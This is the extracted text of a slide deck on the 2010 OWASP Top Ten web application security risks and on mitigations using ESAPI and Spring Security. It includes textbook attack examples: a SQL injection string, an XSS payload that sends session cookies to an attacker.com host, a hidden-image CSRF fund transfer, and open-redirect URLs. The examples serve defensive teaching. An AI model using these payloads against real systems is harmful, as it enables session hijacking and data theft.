Web App Security Risks

Hacking & OS

Is my web application secure?
OWASP Top Ten Security Risks and beyond
Carlo Bonamico
carlo.bonamico@nispro.it

NIS s.r.l. / JUG Genova
http://www.nispro.it / http://juggenova.net

Carlo Bonamico – carlo.bonamico@gmail.com - NIS s.r.l. / JUG Genova

Is my application secure?
 Most likely not... :-(
 we're used to Java/.NET
robustness to buffer overflow
with respect to C/C++
 but now Rich Internet
Applications & AJAX bring new
challenges
 Injection, XSS,
Request Forgery...


We will talk about... Acknowledgement

The Top Ten list
 Why is (WebApp) Security complex? and several concepts
are reproduced under
 security beyond buffer overflows OWASP's CC license

 What about OWASP and Risk-based security approaches?
 The OWASP Top Ten with focus on
 Injection and Cross Site Scripting
 Risk Mitigation approaches & tools (Spring Security, ESAPI... )
 And beyond...
 additional tools and techniques


What is security
 From Wikipedia: Protection of Information and Information System
 from attacks, misues, intentional and unintentional manipulation, destruction,
service disruption
 4 guarantees
 Integrity
 Availability
 Confidentiality
 Accountability


Why is security difficult?
 Intrinsic complexity of
 information
 tools
 systems
 processes
 “false” security perception
 risks often difficult to estimate and measure
 Seen only as a cost, valued only when is missing
 did not happen to me

Consequences
 Security problems often are not even detected
 Security is added after-the-fact
 increasing costs
 limited effectiveness
 Not part of
 development processes
 testing processes
 standard training


State of the art
 Security technologies
 constant improvement
 But main concept is Security as a process
 includes human factors, usability issues
 includes scale issues
 Effective Security involves Risk Management
 evaluate and compare risks
 mitigate when you cannot eliminate
 Relate security to value

Web Application Security
 Specific issues
 complexity of network and protocols
 power of current Browsers
 interaction of heterogeneous sites, often under unrelated management
 Most websites are almost open
 (in)security through obscurity
 social engineering attacks are easier
 Need for specific approaches and tools
 Need for defense in depth

Recommended Books
 Secrets & Lies
 Digital Security in a Networked World
 by Bruce Schneier
 http://www.schneier.com
 John Wiley & Sons, 2000


OWASP
 The Open Web Application Security Project is an open-source application
security organization
 includes corporations, educational organizations, and individuals
 creates freely-available articles, methodologies, documentation & tools
 not affiliated with any company
 OWASP approaches application security by considering all dimensions
 people, process, technology
 focus on developers
 beyond patching...

OWASP Projects
 OWASP Guides  OWASP Tools
 Development  WebGoat
 Testing  WebScarab penetration testing
 Verification proxy WebScarab
 ESAPI
 OWASP Top 10 awareness document
 AntiSamy
 ...


And now...

OWASP Top Ten for 2010


Before we begin: OWASP recommendations...
 Don’t stop at 10
 see OWASP Developer's Guide, OWASP Testing Guide, OWASP Code Review Guide
 constant stream of new attacks from “the future”
 Think positive
 stop chasing vulnerabilities
 focus on establishing strong application security controls
 Application Security Verification Standard (ASVS)
 use tools wisely
 Move towards a secure software development life-cycle is used (SDLC)

Top Ten Security Risks for 2010
 A1: Injection  A6: Security Misconfiguration
 A2: CrossSite Scripting (XSS)  A7: Insecure Cryptographic Storage
 A3: Broken Authentication and Session  A8: Failure to Restrict URL Access
Management  A9: Insufficient Transport Layer
 A4: Insecure Direct Object References Protection
 A5: CrossSite Request Forgery (CSRF)  A10: Unvalidated Redirects and Forward
 What is it?
 a list of the top 10 security Risks on the Web today

 risks, not most common weaknesses


Risk Analysis approach
 OWASP approach based on standard methodologies
 customized for application security
 http://www.owasp.org/index.php/Threat_Risk_Modeling
 Standard model

 Risk = Likelihood * Impact

 factors in "likelihood" and "impact" for application security
 how to combine them

How are the risk evaluated?
 Threat Agent  Weakness Detectability
 application-specific  easy, average, difficult
 Attack Vector  Technical Impact
 easy, average, difficult  severe, moderate, minor
 Weakness Prevalence  Business Impact
 widespread, common,  application-specific
uncommon
worst case approach


What is an attack?
 Attacks are the techniques that agents use to exploit the vulnerabilities in
applications
 Attacks are often confused with vulnerabilities

 http://www.owasp.org/index.php/Category:Attack


What is a vulnerability?
 A vulnerability is a hole or a weakness in the application
 a design flaw or an implementation bug
 that allows an attacker to cause harm to the stakeholders of an application

 http://www.owasp.org/index.php/Category:Vulnerability


What is a control
 Controls are defensive technologies or modules that are used to detect, deter,
or deny attacks
 Examples
 Authentication, Authorization, Auditing
 Session Management
 Input Validation
 Error Handling
Cryptography
 http://www.owasp.org/index.php/Category:Control

Sources of vulnerabilities
 Missing control
 no encryption of sensitive information
 no access control on protected pages
 Broken control
 weak hash algorithm
 fail open
 Ignored Control
 control present but not activated


Impact Analysis
 Technical impact
 on the application, the data it uses, and the functions it provides
 loss of Integrity, Availability, Confidentiality, Accountability
 Business impact
 on process, product, service
 customer relationship, reputation
 law compliance
 out-of-business


What & How to Fix
 Fix the most severe risks first
 does not help to fix the easy or cheap ones if they're not significant
 Not all risks are worth fixing
 cost of fix vs potential damage
 As much as possible, re-use existing, sound, tested libraries and components
 Spring Security
 modular, open, not just for Spring apps
 ESAPI
 easy to use security controls

OWASP Enterprise Security API
 A free, open source, web application security control library
 make it easier to write lower-risk applications
 make it easy to retrofit security into existing code
 Language-specific versions
 JAVA, .NET, PHP, Ruby...
 Standard controls + extensible interfaces
 ESAPI.encoder(), ESAPI.validator()
 ESAPI.encryptor()
 ESAPI.authenticator(),
ESAPI.accessController()
 ESAPI.httpUtilities()

ESAPI References
 Introduction to ESAPI
 http://www.slideshare.net/denimgroup/enterprise-security-api-esapi-java-
java-user-group-san-antonio
 http://www.owasp.org/images/c/c7/ESAPI-2010-AppSecDC.pptx
 ESAPI mapped to the Top Ten
 http://www.jtmelton.com/2009/01/03/the-owasp-top-ten-and-esapi/
 Samples
 http://code.google.com/p/owasp-esapi-java-swingset


A1 Injection
 Threat Agents
 internal or external actor who can feed untrusted data
 Attack Vectors
 Exploitability: AVERAGE
 Security Weakness
 Prevalence: COMMON / Detectability: AVERAGE
 Technical Impacts
 SEVERE
 Business Impacts

How it works
 Attacker sends some special text that is executed by the target interpreter
 any source of data is at risk: form fields, uploads, url parameters
 Wide range of cases, according to the interpreter
 SQL executor, LDAP, Xpath, OS commands, URL arguments
 easy to discover when examining code
 more difficult via testing
 can result in
 data loss or corruption, lack of accountability, or denial of access, sometimes
complete host takeover

Example Scenario: SQL Injection
 Quick and dirty JDBC code
 String query = "SELECT * FROM accounts
WHERE custID='" +
request.getParameter("id") +"'";
 The attacker sends an 'id' parameter
 http://example.com/app/accountView?id=' or 1'='1
 View other accounts
 In the worst case, the attacker uses this weakness to invoke
 special stored procedures or DDL queries
 allowing a complete db manipulation

Preventing SQL Injection
 Never create Statements with string manipulation
 Always use PreparedStatement or CallableStatement
 or a framework based on them (e.g. iBatis / myBatis, Spring JdbcTemplate)
 With Hibernate/JPA HQL Injection is still possible
 always use “by-name” parameters
 from EntityName where id=:id
 Defense in depth
 minimal privileges on the DB connection


Hibernate & JPA
 Uses PreparedStatements and SQL validation
 Vulnerable to HQL injection
 prefer named parameters
 use Criteria queries when programmatically constructing them

 See also
 http://www.owasp.org/index.php/Hibernate
 http://www.owasp.org/index.php/Hibernate-Guidelines


Other platforms
 .NET
 use parameterized APIs with parameter binding
 SqlCommand(), OleDbCommand()

 PHP
 use PDO
 with strongly typed bindParam()


Injection references
 OWASP
 http://www.owasp.org/index.php/Top_10_2010-A1
 http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

 Advanced Topics
 http://www.hdm-stuttgart.de/~ms096/SQLInjectionWhitePaper.pdf
 http://www.nextgenss.com/papers/advanced_sql_injection.pdf
 http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using
_SQL_Injection.pdf

A2 XSS
 Threat Agents
 internal or external actor who can feed untrusted data
 Attack Vectors
 Prevalence: VERY WIDESPREAD / Detectability: EASY
 MODERATE

How it works
 Attacker sends special text that sooner or later is delivered to another web
browser
 and executed... typically as JavaScript
 almost any source of data can be an attack vector
 XSS is the most prevalent web application security flaw
 as an example, JSP EL Expressions like ${…} are immediately evaluated and
printed to the page “as is”, thus propagating XSS
 And comes in three flavors
 1) Stored, 2) Reflected, 3) DOM based

Example Scenarios
 The application dynamically generates an input field without validation or
escaping
 out.println(“〈input name='creditcard' value='"
+ request.getParameter(“CC”) + "'〉”;
 The attacker modifies the ‘CC’ parameter in their browser to
 '〉〈script〉document.location= 'http://www.attacker.com/saveCookie?
id='+document.cookie〈/script〉'
 The victim’s session ID is sent to the attacker
 ready for hijacking

XSS Prevention
 Untrusted Data of any kind
 from any source
 HTTP request, URL parameters, form fields, headers, cookies
 databases, web services, uploaded files...
 should always be treated as though it contains an attack
 since browser are the worst mix of code and data
 many different parsers (XML, HTML, JavaScript, VBScript, CSS, URL, etc...).
 sanitized → encoded BEFORE being displayed or forwarded
escaping never harms


OWASP Positive XSS Prevention Model
 An HTML page like a template
 with slots where a developer is allowed to put untrusted data
 untrusted data is not allowed elsewhere
 "whitelist" model
 similar to Firefox 4 Content Security Policy
 Each of the different types of slots has slightly different security rules
 attributes, body, urls, links, ...


ESAPI for Encoding
 Context-dependent encoding  encodeForSQL
 encodeForJavaScript  encodeForXML
 encodeForVBScript  encodeForXMLAttribute
 encodeForURL  encode forXPath
 encodeForDN  canonicalize method to remove
 encodeForHTML encodings
 encodeForHTMLAttribute
 encodeForLDAP <%=ESAPI.encoder().encodeForHTML(name)%>


References
 Consider employing Mozilla’s new Content Security Policy
 coming out in Firefox 4
 Cheat Sheets
 http://ha.ckers.org/xss.html
 http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_
Cheat_Sheet


A3 Broken Authentication and Session Management
 Threat Agents
 legitimate users, external, insider
 Attack Vectors
 Prevalence: COMMON / Detectability: AVERAGE
 SEVERE

Weaknesses
 Developers frequently build custom authentication and session management
schemes
 but building these correctly is hard
 Defects in areas such as
 logout, password management, timeouts, remember me, secret question, account
update, etc.
 Admin/special accounts are mostly targeted


Example Scenario
 A) Website uses URL rewriting, leaving session ID in clear
 http://travel.com/bookFlight;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?
dest=Australia
 link is shared in an email
 sessionID goes around unencrypted

 B) Exceptions during login validation are not properly handled
 alter the execution path
 causing an unauthorized access


Things to be checked
 Are credentials always protected when stored
 using hashing or encryption?
 Can credentials be guessed or altered during account management
 account creation, change password, recover password?
 Are session IDs
 exposed in the URL (e.g., URL rewriting)?
 vulnerable to session fixation?
 rotated after successful login?
 Are passwords, session IDs, and credentials sent only over TLS ?

Solid Authentication and Session Management
 Use a single set of strong authentication and session management controls
 e.g. Spring Security and/or ESAPI Authenticator

 Be sure to avoid XSS flaws
 can be used to steal session Ids

 Prevent brute force attacks
 limit number of attempts


A4-Insecure Direct Object References
 Threat Agents
 authorized users with partial access to data
 Attack Vectors
 Exploitability: EASY
 Prevalence: COMMON / Detectability: EASY
 MODERATE

How it works
 Attacker changes a parameter value
 point to another entity for which he has not access rights

 Applications often use a business key
 easy to guess

 Applications often do not check access to a URL after the user requests it
 (false) security through obscurity


Example
 Restrieve account data without verifications
 query="SELECT * FROM accts WHERE code=?";
 PreparedStatement pstmt =
connection.prepareStatement(query , ... );
 pstmt.setString( 1,
request.getParameter("code"));
 ResultSet results = pstmt.executeQuery();
 The attacker modifies the ‘code’ parameter
 http://example.com/app/accountInfo?acct=notmyacct


How Do I Prevent Insecure Direct Object References?
 Use per user or session indirect object references.
 instead of the resource’s database key
 possibly generated through ESAPI
 RandomAccessReferenceMap instance = new
RandomAccessReferenceMap();
 String indirectKey =
instance.addDirectReference((Object)entity
);
 Check access
 propert authorization


A5-Cross-Site Request Forgery (CSRF)
 Threat Agents
 anyone who can trick your users into submitting a request to your website
 Attack Vectors
 Prevalence: WIDESPREAD / Detectability: EASY
 MODERATE

How it works
 Any email or RSS feed or AD creates forged HTTP requests and tricks a victim
into submitting them
 via image tags, XSS, or numerous other techniques
 if the user is logged in, the attack succeeds.

 Easy when request details are guessable
 the browser automatically send cookies to the target server
 making difficult to distinguish good requests from bad ones


Example
 The application allows a user to submit a state changing request that does not
include anything secret. Like so:
 http://example.com/app/transferFunds?
amount=1500&destinationAccount=4673243243
 Attackers hides the link in an img
 〈img
src="http://example.com/app/transferFunds?
amount=1500&destinationAccount=attackersAc
ct#“ width="0" height="0" /〉
 If the victim browser recently visited and logged into example.com, forged
requests will include the user’s session info
 inadvertently authorizing the action

How Do I Prevent CSRF?
 Include an unpredictable token in each HTTP request
 e.g. hidden field, not included in the URL
 session cookies, source IP addresses, and other information that is automatically
sent doesn’t count since this information is also included in forged requests
 OWASP’s CSRF Guard
 automatically include such tokens in your Java EE, .NET, or PHP application
 ESAPI also includes token generators and validators
 Also check HDIV framework
 http://www.hdiv.org/

References
 OWASP Cheat Sheet
 http://www.owasp.org/index.php/Cross-
Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet


A6-Security Misconfiguration
 Threat Agents
 anonymous & internal users wanting more access or to hide their actions
 Attack Vectors
 MODERATE

How it works
 Attacker accesses
 default accounts
 unused pages
 unpatched flaws
 unprotected files and directories
 Security misconfiguration can happen at any level of an application stack
 including the platform, web server, application server, framework, and custom
code
 Automated scanners are useful

Administrative Interfaces
 Are a critical entry point
 to application servers, virtualization environments and operating systems

 Enable them on separate channels
 Ensure default access credentials are changed


How Do I Prevent Security Misconfiguration?
 Use a repeatable hardening process that makes it fast and easy to deploy
secured platforms
 disabling unnecessary components and services
 enabling authentication
 changing default credentials
 see also devops
 Setup a process for security updates and patches
 Use minimal privileges everiwhere
 Perform scans and audits

Configuration data
 review configuration for unsafe defaults
 frameworks
 application server
 web server
 db
 operating system
 virtual machine
 create a company-wide knowledge base of secure configs and hardening how-to
 integrate with open ones, including OWASP's

A7-Insecure Cryptographic Storage
 Threat Agents
 internal/external users wanting access escalation
 Attack Vectors
 Exploitability: DIFFICULT
 Prevalence: UNCOMMON / Detectability: DIFFICULT
 SEVERE

How it works
 Attackers typically don’t break the crypto
 They break something else
 e.g. use a keylogger
 or access data via channels that automatically decrypt
 The most common defect is simply not encrypting sensitive data

 If using crypto, beware of
 unsafe key generation and storage
 weak algorithms

How Do I Prevent Insecure Cryptographic Storage?
 App-specific, but at least:
 make sure you encrypt all sensitive data
 ensure offsite backups are encrypted, but keys managed separately
 use strong standard algorithms and strong keys avoid
Do It Yourself
 proper key management approaches
 encrypted =
ESAPI.encryptor().encrypt( decrypted );
 decrypted = ESAPI.encryptor()
.decrypt( encrypted );
 Ensure passwords are hashed and salted
 Ensure all keys and passwords are protected Carlo Bonamico – carlo.bonamico@gmail.com - NIS s.r.l. / JUG Genova

A8-Failure to Restrict URL Access
 Threat Agents
 users wanting to access a private page or privileged page
 Attack Vectors
 Prevalence: UNCOMMON / Detectability: AVERAGE
 MODERATE

How it works
 Attacker, who is an authorized system user, simply changes the URL to a
privileged page

 Checks are not present
 or
 Checks are present but not configured correctly
 or
 Links to sensitive pages are hidden
 but if direct URL is used they are not protected

How Do I Prevent Failure to Restrict URL Access?
 Prefer role-based policies
 to minimize the effort required to maintain tThe policies hem
 Policies should be highly and easily configurable
 to minimize hard coded aspects
 The enforcement mechanism should deny all by default
 requiring explicit grants
 In workflow interactions
 check all states


A9-Insufficient Transport Layer Protection
 Threat Agents
 anyone who can monitor the traffic of your users or backend connections
 Attack Vectors
 Exploitability: DIFFICULT
 MODERATE

How it works
 Monitoring network traffic can be difficult
 but is sometimes easy
 see wireshark...
 Applications often use SSL/TLS only during authentication
 exposing data and session IDs to interception
 or only on the front-end
 leaving back-end connections to DB or JMS Servers vulnerable
 Systems use old versions of SSL protocols
 subject to many flaws

How Do I Prevent Insufficient Transport Layer Protection?
 Require SSL for all sensitive pages
 redirected unsecure requests to the SSL page
 Set the ‘secure’ flag on all sensitive cookies
 Only support strong (e.g., FIPS 140-2 compliant) algorithms
 at least TLS 1.0 SSL 3.0
 Ensure your certificate is valid, not expired, not revoked,
 and matches all domains used by the site
 Backend and other connections should also use SSL


A10-Unvalidated Redirects and Forwards
 Threat Agents
 anyone who can trick your users into submitting a request to your website
 Attack Vectors
 Prevalence: UNCOMMON / Detectability: EASY
 Impact: MODERATE

How it works
 Attacker links to unvalidated redirect and tricks victims into clicking it
 http://good.com/fwd?redir=bad.com/virus.exe
 properly % encoded...
 Victims are more likely to click on it, since the link is to a valid site

 User manipulates parameter to forward to a protected page
 http://good.com/forward?path=/WEB-INF/admin.jsp

 Happens when the redirect/forward url comes from a request parameter

How Do I Prevent Unvalidated Redirects and Forwards?
 Simply avoid using redirects and forwards
 if used, don’t involve parameters in calculating the destination
 else, check destination against valid list (ESAPI supports this)
 and verify page authorizations
 Better yet, use a parameter which is a key and not a full URL
 http://good.com/fwd?path=1
 Use
 HTTPUtilities.sendSafeRedirect()
 HTTPUtilities.safeEncodeRedirectURL()
 HTTPUtilities.sendSafeForward()

More...

Additional Principles and Tools


Organizational commitment to security
 Costs are not the main issue
 most of the effort for secure applications also leads to better/more robust/more
productive applications
 Focus and culture are
 what's your priority?
 Commercial aspects
 would you sell a wonderful car with no keys?
 Mostly
 training, team effort, specialistic support

ESAPI Web Application Firewall (WAF)
 Can be called separately from the other controls
 Can add to an existing application
 Virtual patches
 Enforce authentication
 Enforce access control
 add input validations
 add output encodings
 Enforce HTTPS
 sanitize HTTP headers and cookies

Pros and Cons
 Easier and faster to apply patches without coding
 no subsitute for propert design and implementation
 mitigation solution
 See also
 http://www.slideshare.net/llamakong/owasp-esapi-waf-appsec-dc-2009


Application Layer Logging/Intrusion Detection
 Really, important!
 one of the most important security mechanisms
 normally not done
 ESAPI Intrusion detection Key features
 Log Intrusion
 Logout User
 Disable Account
 Configurable Thresholds


AppSensor
 you report significant events by means of exceptions
 invalid credentials
 validation exceptions
 AppSensor
 collects them
 presents them in a management console
 produces alerts according to configurable thresholds
 can take actions
 lock accounts, disable IP clients

Proven application security principles
 Apply defense in depth  Keep security simple
 Use a positive security model  Detect intrusions
 fail-safe defaults, minimize  Don’t trust infrastructure
attack surface  Don’t trust services
 Fail securely
 Run with least privilege
 Avoid security by obscurity


Want to know more?
 My blog
 http://www.carlobonamico.com
 My Company Thank you
http://www.nispro.it
for your attention!
 JUG Genova
 http://juggenova.net
 Attend a course
 Web Application Security (3 days)
 http://www.nispro.it/education/education_focus_sec.html


Web App Security Risks

Recommended

More Related Content

What's hot

What's hot (9)

Similar to Web App Security Risks

Similar to Web App Security Risks (20)

More from Carlo Bonamico

More from Carlo Bonamico (14)

Recently uploaded

Recently uploaded (20)

Web App Security Risks